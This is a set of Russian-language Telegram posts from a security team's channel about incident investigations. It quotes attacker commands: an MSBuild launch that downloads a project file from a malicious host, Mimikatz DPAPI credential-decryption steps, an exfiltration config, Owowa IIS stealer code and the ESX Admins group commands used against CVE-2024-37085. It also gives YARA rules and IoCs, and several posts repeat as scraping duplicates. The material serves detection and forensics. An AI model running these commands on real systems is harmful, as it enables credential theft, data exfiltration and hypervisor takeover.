Практика наших расследований инцидентов показывает, что злоумышленники все еще используют Microsoft Build Engine для компиляции .NET и запуска Cobalt Strike Beacon на скомпрометированных узлах.
Предварительно на хост загружается конфигурация проекта .NET, представленная в формате XML. Конфигурация содержит в себе встроенную задачу.
Код задачи описан в структуре:
<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>
Задача — это блок исполняемого кода, с помощью которого MSBuild выполняет атомарные операции, которые используются разработчиками в процессе сборки проектов. В рассматриваемом случае злоумышленники используют данный механизм для запуска ВПО.
После успешной загрузки конфигурации запускается MSBuild, где параметром указан путь до конфигурации проекта. В результате на скомпрометированном хосте компилируется и запускается .NET библиотека. Она расшифровывает полезную нагрузку и вызывает функцию EnumChildWindows, которая исполняет шелл-код.
Пример запуска:
wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj
Yara:
rule Susp_Microsoft_Build_Engine_XML_Schema {
strings:
$s1 = "TaskFactory=\"CodeTaskFactory"
$s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
$e1 = "EnumChildWindows"
$e2 = "EnumDisplayMonitors"
condition:
all of ($s*) and any of ($e*)
}
Дополнительные материалы 👈
#dfir #hunt #detect #yara #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
DPAPI — популярный вектор для атак на ОС семейства Windows 💻
Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники.
Сегодня разберем, что произойдет, если у пользователя сохранены учетные данные на рабочей станции, введенной в домен Active Directory, а злоумышленник загрузил на нее всем знакомый Mimikatz.
👀 Для начала рассмотрим, как связан DPAPI с учетными данными пользователей и другими секретами.
Интерфейс DPAPI используется компанией Microsoft в Windows с 2000-го года. Он позволяет хранить чувствительные данные пользователя в шифрованном виде.
Что использует этот интерфейс для шифрования данных?
• SID пользователя;
• hash пароля;
• Masterkey — ключевую сущность, за которой будут охотиться злоумышленники.
Masterkey в свою очередь генерируется из так называемых prekey и 64 рандомных байт. SID, hash пароля пользователя и Masterkey путем криптографических манипуляций образуют blob. Поэтому для расшифрования злоумышленнику нужно знать конкретный blob, который нужно расшифровать, Masterkey в открытом виде, hash пароля пользователя и его SID для расшифровки.
🗂 Упомянутые объекты и параметры содержатся в различных папках и ветках реестра. Нам интересны следующие папки:
• Папка с сredential blob
• Папка с файлами пользовательских mastekeys
• Папка с файлами приватных RSA-ключей
У одного пользователя может быть несколько masterkeys на узле. Злоумышленник сначала должен будет узнать, какой masterkey используется сейчас для blob с учетными данными.
Находясь на узле и загрузив Mimikatz, злоумышленник может найти эту информацию, прочитав свойства внутри blob с помощью команды mimikatz:
💡 Дисклеймер: если команды будут выполняться через Cobalt Strike или другой C2, то синтаксис команд будет другой.
Для корректной идентификации Masterkey необходимо обратить внимание на параметр guidMasterkey — это идентификатор Masterkey, который использовался для шифрования этого blob. Благодаря тому, что в нашем случае рабочая станция введена в домен и имеет с ним связь, можно запросить резервный RSA-ключ с контроллера домена.
Здесь важно отметить, что злоумышленник может запросить его только для своего авторизованного пользователя. Для того чтобы запросить этот ключ для всех пользователей и расшифровать все Masterkeys, понадобятся права доменного администратора.
Запрос RSA-ключа на контроллер домена будет выполнен со службы MS-BKRP (backupkey remote protocol) RPC:
В ответ злоумышленнику придет masterkey в открытом виде (параметр key:) и его sha1 hash.
После этого он может попытаться расшифровать учетные данные пользователя и получить пароль в открытом виде.
Сделает он это с помощью команды:
И получит на выходе в параметре CredentialBlob: пароль скомпрометированного пользователя💻
#DPAPI #win #hunt #ti
@ptescalator
Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники.
Сегодня разберем, что произойдет, если у пользователя сохранены учетные данные на рабочей станции, введенной в домен Active Directory, а злоумышленник загрузил на нее всем знакомый Mimikatz.
Интерфейс DPAPI используется компанией Microsoft в Windows с 2000-го года. Он позволяет хранить чувствительные данные пользователя в шифрованном виде.
Что использует этот интерфейс для шифрования данных?
• SID пользователя;
• hash пароля;
• Masterkey — ключевую сущность, за которой будут охотиться злоумышленники.
Masterkey в свою очередь генерируется из так называемых prekey и 64 рандомных байт. SID, hash пароля пользователя и Masterkey путем криптографических манипуляций образуют blob. Поэтому для расшифрования злоумышленнику нужно знать конкретный blob, который нужно расшифровать, Masterkey в открытом виде, hash пароля пользователя и его SID для расшифровки.
🗂 Упомянутые объекты и параметры содержатся в различных папках и ветках реестра. Нам интересны следующие папки:
• Папка с сredential blob
\Users\<user>\appdata\local\microsoft\credentials\<credential blob>
• Папка с файлами пользовательских mastekeys
\Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\
• Папка с файлами приватных RSA-ключей
%APPDATA%\Roaming\Microsoft\Crypto\RSA\<SID>\
У одного пользователя может быть несколько masterkeys на узле. Злоумышленник сначала должен будет узнать, какой masterkey используется сейчас для blob с учетными данными.
Находясь на узле и загрузив Mimikatz, злоумышленник может найти эту информацию, прочитав свойства внутри blob с помощью команды mimikatz:
dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob>
💡 Дисклеймер: если команды будут выполняться через Cobalt Strike или другой C2, то синтаксис команд будет другой.
Для корректной идентификации Masterkey необходимо обратить внимание на параметр guidMasterkey — это идентификатор Masterkey, который использовался для шифрования этого blob. Благодаря тому, что в нашем случае рабочая станция введена в домен и имеет с ним связь, можно запросить резервный RSA-ключ с контроллера домена.
Здесь важно отметить, что злоумышленник может запросить его только для своего авторизованного пользователя. Для того чтобы запросить этот ключ для всех пользователей и расшифровать все Masterkeys, понадобятся права доменного администратора.
Запрос RSA-ключа на контроллер домена будет выполнен со службы MS-BKRP (backupkey remote protocol) RPC:
dpapi::masterkey /in:C:\users\<username>\appdata\roaming\microsoft\protect\<SID>\<masterkey> /rpc
В ответ злоумышленнику придет masterkey в открытом виде (параметр key:) и его sha1 hash.
После этого он может попытаться расшифровать учетные данные пользователя и получить пароль в открытом виде.
Сделает он это с помощью команды:
dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob> /masterkey:<masterkey_as_plain_text>
И получит на выходе в параметре CredentialBlob: пароль скомпрометированного пользователя
#DPAPI #win #hunt #ti
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Эксфильтрация в промышленных масштабах 😐
APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.
Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.
Скрипт с именем v.3 запускался через механизм задач Windows:
Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.
Пример расшифрованной конфигурации:
Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.
Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.
IoCs:
Happy hunting! 🎯
#dfir #hunt #detect #win #ioc #apt
@ptescalator
APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.
Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.
Скрипт с именем v.3 запускался через механизм задач Windows:
C:\ProgramData\WindowsDefender\Update\SecuritySystrayw.exe C:\ProgramData\WindowsDefender\Update\v.3 -ip C:\ProgramData\WindowsDefender\Update\sys -c C:\ProgramData\WindowsDefender\Update\loc -A
Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.
Пример расшифрованной конфигурации:
{'USERCAT': True, 'USERCAT_DOWNLOAD': True, 'DEEP_SHARECAT': True, 'SHARECAT_DOWNLOAD': True, 'NEED_SAVE_CATS': False, 'remote_port': '445', 'username': [REDACTED], 'password': [REDACTED], 'my_name': [REDACTED], 'domain': [REDACTED], 'max_size_file': '2100000', 'min_size_file': '10', 'size_archive': '9242660', 'deep': '6', 'format_file': ['doc', 'docx', 'pdf', 'xls', 'rtf', 'xlsx', 'txt', 'zip', 'rar'], 'days': '1', 'host': 'https://update-version.net/pousowdie/alectoromancy/xenoblast/nadirwere/kamalbaka/shellprog/reverbed/saledroid.dotm/2', 'key': [REDACTED], 'wd': [{'wd_host': 'https://webdav.opendrive.com/', 'wd_login': [REDACTED], 'wd_password': [REDACTED], 'wd_work': True}], 'no_need_list': ['.', '..', 'desktop.ini', 'ADMIN$', 'IPC$', 'Default', 'All Users', 'Default User', 'Public', 'Microsoft', 'Windows', 'AppData', 'Application Data', 'Local Settings', 'Все пользователи'], 'need_folders': ['Downloads', 'Desktop', 'Documents']}
Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.
command = f'{os.path.join(pfile, "7z.exe")} a "{os.path.join(pfile, "archiv_results", name)}" "{pfile}\\.\\temp\\*" -p{key} -mhe -sdel'
Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.
IoCs:
164.25.54.22
update-version.net
webdav.opendrive.com
api.mega.co.nz
Happy hunting! 🎯
#dfir #hunt #detect #win #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
ℹ️ Эксфильтрация с помощью Powershell/C#
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер🧐
Необходимая сетевая папка подключается командлетом
Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
В параметр
После обработки и выгрузки всех файлов на сервер выгружается также и файл
🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
#detect #dfir #PowerShell #win
@ptescalator
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер
Необходимая сетевая папка подключается командлетом
New-SmbMapping,
используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
%APPDATA%\tree.ini
с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
multipart/form-data
частями по 16 384 байта.В параметр
filename
передается идентификатор файла, который представляет собой закодированную Base64 строку формата:
fullpath&&last_write_time&&file_size&&host_name&¤t_user&&drive_serial_number
После обработки и выгрузки всех файлов на сервер выгружается также и файл
tree.ini
, после чего удаляется из системы.🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
%AppData%
от имени процесса powershell.exe
. В нашем случае создаются файлы с именами, определенными в коде: tree.ini
, profiles_int.ini
(БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log
и sys_error_ps.log
(файлы журналов).2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
powershell.exe
к узлам внутренней сети по порту 445 TCP.3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
powershell.exe
.4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
94.158.247.19
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Этот артефакт представляет собой базу данных (
reports.db
), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса
powershell.exe
к документу в сетевой папке и к веб-странице.🖥 URL, отраженный в поле
object.directory
, имеет следующий формат:
ip_address/files/upload/guid///WREQ//base64_id//
🧑💻 После декодирования из Base64 получим следующую строку:
\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624
Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.
Таким образом,
reports.db
— прекрасный источник данных, в котором можно найти:• факты применения этого скрипта для эксфильтрации;
• перечень выгруженных ресурсов;
• учетную запись, под которой велась хакерская активность.
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Где искать сетевые индикаторы компрометации на Windows? Например, в кэше DNS 💡
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
😐 Здесь-то и кроется подвох. Если домен содержится в списке кэшированных, а его TTL истекло, то команда
Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
ipconfig /displaydns
, но не спешите это делать.У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
DnsGetCacheDataTable
формируется полный список кэшированных доменов, затем для каждого домена из списка происходит резолв из кэша с помощью системного вызова DnsQuery
с флагом DNS_QUERY_NO_WIRE_QUERY
. Таким образом для каждого кэшированного домена из кэша извлекаются соответствующие ресурсные записи: A, AAAA, TXT и так далее.ipconfig /displaydns
не только не покажет такой домен в списке, но и удалит его из списка кэшированных доменов, тем самым уничтожив потенциальные улики.Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
DnsGetCacheDataTable
. Ниже приведен скрипт для PowerShell
, реализующий эту функцию:
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
namespace DnsCache
{
[StructLayout(LayoutKind.Sequential)]
public struct DnsCacheEntry
{
public IntPtr PNext;
public IntPtr Name;
public ushort Type;
public ushort DataLength;
public uint Flags;
}
public class Program
{
[DllImport("dnsapi.dll")]
public static extern void DnsGetCacheDataTable(ref DnsCacheEntry entry);
public static void GetCache()
{
DnsCacheEntry a = new DnsCacheEntry();
DnsGetCacheDataTable(ref a);
while (true)
{
Console.WriteLine("RR name: {0}", Marshal.PtrToStringAuto(a.Name));
if (a.PNext == IntPtr.Zero) break;
a = Marshal.PtrToStructure<DnsCacheEntry>(a.PNext);
}
}
}
}
"@
[DnsCache.Program]::GetCache()
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
ipconfig /displaydns
(именно в таком порядке).Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.
А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.
Модуль устанавливается в системе командой
appcmd.exe install module
. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner
. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.
public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...
Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.
Пример учетных данных, которые записываются в HashSet:
ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}
Данные, как и раньше, защищены алгоритмом
RSA-2048
, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00
, она является разделителем учетных записей.
memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);
Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.
Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком
username: ZaDS0tojX0VDh82
.Пример GET-запроса в журналах IIS-сервера:
2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14
Помимо перехвата полей
username
, password
в новой версии были добавлены перехваты LOGON_USER
, AUTH_PASSWORD
.В последней версии злоумышленники отказались от функции
RunCommand
, которая выполняла команды на скомпрометированном узле через powershell.exe
.IoCs:
Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6
YARA:
rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}
Happy hunting!
#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Уязвимость находилась в библиотеке
dwmcore.dll
в функции CPrimitiveGroupDrawListBrush::IsColorConversionRequired
(скриншот 1). При совместном использовании классов СSurfaceBrush
и CPrimitiveGroup
она позволяла достичь кода, который осуществляет вычисление положения экземпляра класса CDrawListBitmap
в массиве drawListBitmap_Vec
, располагающемся, в свою очередь, в экземпляре класса CPrimitiveGroupDrawListGenerator
. При определенном сочетании свойств экземпляров
СSurfaceBrush
и CPrimitiveGroup
могла сложиться ситуация, при которой указатель drawListBitmap_Vec
был бы равен нулю и все вычисления свелись бы только к работе с индексом, а его значение полностью контролировалось бы атакующим и имело размер DWORD
. Таким образом можно было бы перехватить указатель на объект CDrawListBitmap
(скриншот 2).#escvr #win #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Где можно найти историю команд PowerShell? 🧐
Наверняка в первую очередь в голову придут журналы Windows и файл
Речь идет о журнале PowerShell Transcript. Он представляет собой текстовый файл, в который записываются данные о командах, выполняемых в ходе сеанса PowerShell.
В PowerShell Transcript мы можем обнаружить такую интересную информацию, как:
• имя пользователя, выполнявшего команды;
• время начала и окончания журналирования данных;
• введенные команды и результат их выполнения.
Стоит отметить, что этот механизм журналирования по умолчанию выключен. Чтобы включить его, необходимо установить в ключе реестра Windows
Файлы журналов по умолчанию записываются в директорию
Пример журнала:
#tips #win
@ptescalator
Наверняка в первую очередь в голову придут журналы Windows и файл
ConsoleHost_history.txt
, однако есть еще один довольно интересный артефакт.Речь идет о журнале PowerShell Transcript. Он представляет собой текстовый файл, в который записываются данные о командах, выполняемых в ходе сеанса PowerShell.
В PowerShell Transcript мы можем обнаружить такую интересную информацию, как:
• имя пользователя, выполнявшего команды;
• время начала и окончания журналирования данных;
• введенные команды и результат их выполнения.
Стоит отметить, что этот механизм журналирования по умолчанию выключен. Чтобы включить его, необходимо установить в ключе реестра Windows
HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
значение EnableTranscripting = 1 (REG_DWORD)
.Файлы журналов по умолчанию записываются в директорию
\Users\[username]\Documents\[YYYYMMDD]
. Но этот путь можно изменить, прописав необходимую директорию в значении OutputDirectory
ключа HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
.Пример журнала:
**********************
Начало записи сценария Windows PowerShell
Время начала: 20240802191321
Имя пользователя: TEST\User
Запуск от имени пользователя: TEST\User
Имя конфигурации:
Компьютер: PC1 (Microsoft Windows NT 10.0.17763.0)
Ведущее приложение: powershell New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force
ИД процесса: 13612
PSVersion: 5.1.17763.2931
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17763.2931
BuildVersion: 10.0.17763.2931
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS>New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force
DisableRestrictedAdmin : 0
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PS>$global:?
True
**********************
Конец записи протокола Windows PowerShell
Время окончания: 20240801913322
**********************
#tips #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Net group "babyk" /add
В рамках расследования одного из инцидентов мы обнаружили факт эксплуатации уязвимости CVE-2024-37085. Она позволяет злоумышленнику получить полный контроль над гипервизором VMware ESXi, присоединенным к домену
Уязвимость заключается в том, что пользователи, входящие в группу с именем
ESX Admins
, по умолчанию имеют максимальные права доступа к гипервизору. Эта группа не существует в домене по умолчанию, поэтому злоумышленнику необходимо завладеть учетной записью, имеющей права на создание группы и добавление в нее пользователей.В статье упоминается эксплуатация этого недостатка операторами шифровальщиков Akira и Black Basta. В публичных отчетах информации об использовании уязвимости в атаках на российские организации нет.
👤 В рассматриваемом нами случае злоумышленникам удалось получить доступ к контроллеру домена и завладеть учетной записью с необходимыми правами. После они создали группу
ESX Admins
и добавили в нее пользователя, выполнив следующие команды:net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do
От имени этого пользователя впоследствии нарушители вошли на гипервизор и зашифровали файлы и диски виртуальных машин с применением Babyk.
В обнаружении эксплуатации CVE-2024-37085 могут помочь события журнала Security:
• 4727 — создание группы безопасности Active Directory с именем
ESX Admins
;• 4737 — изменение группы безопасности Active Directory (переименование группы в
ESX Admins
);• 4728 — добавление пользователя в группу безопасности Active Directory с именем
ESX Admins
.Для исправления описанной уязвимости рекомендуется установить последние обновления безопасности для VMware ESXi.
#dfir #cve #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM